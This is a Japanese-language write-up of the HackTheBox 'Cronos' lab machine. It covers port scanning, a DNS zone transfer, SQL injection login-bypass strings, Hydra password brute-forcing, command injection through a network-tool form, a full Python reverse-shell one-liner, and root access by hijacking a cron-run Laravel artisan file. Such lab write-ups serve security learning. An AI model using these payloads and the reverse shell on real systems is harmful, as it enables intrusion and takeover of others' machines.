【HackTheBox】Cronos - Writeup -

## 【HackTheBox】Cronos



### Enumeration(ポート列挙）

```
#nmap -T5 --min-rate 10000 10.10.10.13                         
PORT   STATE SERVICE
22/tcp open  ssh
53/tcp open  domain
80/tcp open  http

#nmap -sV -Pn -p22,53,80 -A 10.10.10.13
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
```


DNSサービスがあるので、詳しく調べていく。

### DNS Zone Transfer とは

インターネットのドメイン名をIP解決するためにはDNSサーバーが使われる。
DNSサーバにはマスターとスレーブ*（プライマリとセカンダリ)*がそれぞれある。

![Untitled drawing (1).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636896/463d5b5d-2011-c6cb-b4f9-37cfb1085050.png)

セキュリティホールとなるのはDNSゾーン転送の相手のDNSを指定しない時。
マスターDNSにある情報がそのまま受け渡ってしまうからである。

digコマンドでは *axfr* オプションでゾーン転送プロトコルを指定して使うことができる。

```
#dig axfr cronos.htb @10.10.10.13 #domain@IPADDR

; <<>> DiG 9.16.4-Debian <<>> axfr cronos.htb @10.10.10.13
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 167 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Sun Jul 12 16:04:02 JST 2020
;; XFR size: 7 records (messages 1, bytes 203)
```

admin.cronos.htbがあるのでそこへアクセスしてみる。

ユーザーネームとパスワードが求められる。

ユーザーネームはSQLインジェクションで固定のものを使い、パスワードはブルーとフォースする。

```
#　SQLインジェクション一覧
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1-- 
```
ちなみに、ユーザーネームはURLエンコードしておく。

### Hydra でブルーとフォースパスワード

```
hydra -l(固定ユーザーネーム) -L(ユーザーネームリスト） -P(パスワードリスト) http-[get|post\|etc]-form :/入力変数=^入力値^ :失敗メッセージ
hydra -l admin' # -P /usr/share/wordlists/rockyou.txt admin.cronos.htb http-post-form "/:password=^PASS^:Login Failed" 
```

ログイン成功。

### Nettool
![Screenshot from 2020-07-12 20-03-33.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636896/351a390f-0b78-a70b-b7f3-16098160fa53.png)

BurpSuiteでリクエストをインターセプトして、書き換える。

![Screenshot from 2020-07-12 20-10-57.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636896/a33bb15a-5ee4-8ff4-e1fc-708adba4459d.png)

```
➜ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.13] 60420
```

すぐ切れてしまう。

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

``host=上記のPythonコード&host=;``とすると、上手くいった。

リバースシェルはここのものを参考: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
いつもお世話になっております:monkey:

ユーザー情報とOSを確認

```
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ whoami
www-data
```
``ps -ef``を走らせると、cronがサービスとして起動している（HTBの名前 *Cronos* から察した） 

```
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * *	root	php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
#
```

``php /var/www/laravel/artisan``をrootで時々、実行しているので
また先ほどのリバースシェル(PHP)と書き換えると、rootが取れます。

## 学んだこと

- DNSを調べずにhttpウェブサイトでかなり時間を消費してしまったので、DNSがある時は必ずDNSを調べる。

気が付いていたら、こんなことまでしていました。

##### SessionID secure属性/httponly属性を確認

```
➜  ~ curl -I http://cronos.htb
HTTP/1.1 200 OK
Date: Sun, 12 Jul 2020 06:32:25 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, private
Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBZRzdWUHduNnhiQzBXVUI2VjRHOEE9PSIsInZhbHVlIjoiNE1aZVlRK3dtTXlMQ0ZYcHZ0WmpPZHhvaG80NFpMUjk3OGdoM1wveWU4Q0JjazAwNStNXC9pTUtWdlhoa1JrTVg3a1RcL21od3A3ejlUY05vRlRBbzVMSGc9PSIsIm1hYyI6IjVhM2E1ZDNlZjYyODk3Y2NkY2ZjMmIwZGQ1YTZlZjMzMjdmZTU0NTE4MDliMzU1MTQ3Zjk1NDA1OWUwN2JiYjIifQ%3D%3D; expires=Sun, 12-Jul-2020 08:32:25 GMT; Max-Age=7200; path=/
Set-Cookie: laravel_session=eyJpdiI6IjNhenpaQnZ5QWRYZURpQmx4TWRvNWc9PSIsInZhbHVlIjoieDdOaGhCcmlBVFRIUUxrRG9uXC9xQ0RzSWF4MjNDVDBUNWI4cmVtaUtSUHpvam1JSnJHVG9WWkJjOEx2OUM4TFUzU1lpODFSd2pRWFdcL1Ardmo0XC9kOEE9PSIsIm1hYyI6ImM5YjBkYzJkNTMyZjZkMDFhN2FhMGU1Yjg3NzVjNmJmMzk5NjE5MGY1NjEzYTM4MDRiZmU3M2I4M2EwYjc2NjcifQ%3D%3D; expires=Sun, 12-Jul-2020 08:32:25 GMT; Max-Age=7200; path=/; HttpOnly
```

読んでくれた方、ありがとうございます:relaxed:
質問や改善点があれば、ぜひコメントをお願いします～